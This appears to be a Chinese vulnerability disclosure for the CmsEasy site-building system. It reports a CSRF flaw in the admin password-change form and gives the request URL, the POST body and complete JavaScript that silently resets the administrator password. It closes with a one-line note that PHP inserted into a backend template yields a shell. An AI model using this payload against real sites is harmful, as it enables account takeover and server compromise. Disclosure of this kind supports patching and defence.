### 简要描述：
Cmseasy建站系统csrf获取管理权限后台getshell
### 详细说明：
在修改管理密码处存在csrf漏洞
http://localhost/cmseasy/uploads/index.php?case=table&act=edit&table=user&id=1&admin_dir=admin&site=default
post:
onlymodify=&username=admin&passwordnew=456456&nickname=%E7%AE%A1%E7%90%86%E5%91%98&question=&answer=&groupid=2&qq=0&e_mail=&tel=&submit=%E6%8F%90%E4%BA%A4
可通过csrf修改管理密码：
```
function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}var _x = ajax();
postgo();
function postgo() {
src="http://localhost/cmseasy/uploads/index.php?case=table&act=edit&table=user&id=1&admin_dir=admin&site=default";
data="onlymodify=&username=admin&passwordnew=456456&nickname=%E7%AE%A1%E7%90%86%E5%91%98&question=&answer=&groupid=2&qq=0&e_mail=&tel=&submit=%E6%8F%90%E4%BA%A4"
xhr_act("POST",src,data);
}
function xhr_act(_m,_s,_a){
_x.open(_m,_s,false);
cookie = document.cookie;
if(_m=="POST"){
_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
_x.setRequestHeader("Cookie",cookie);
}
_x.send(_a);
return _x.responseText;
}
```
后台编辑模板 插入php代码可getshell
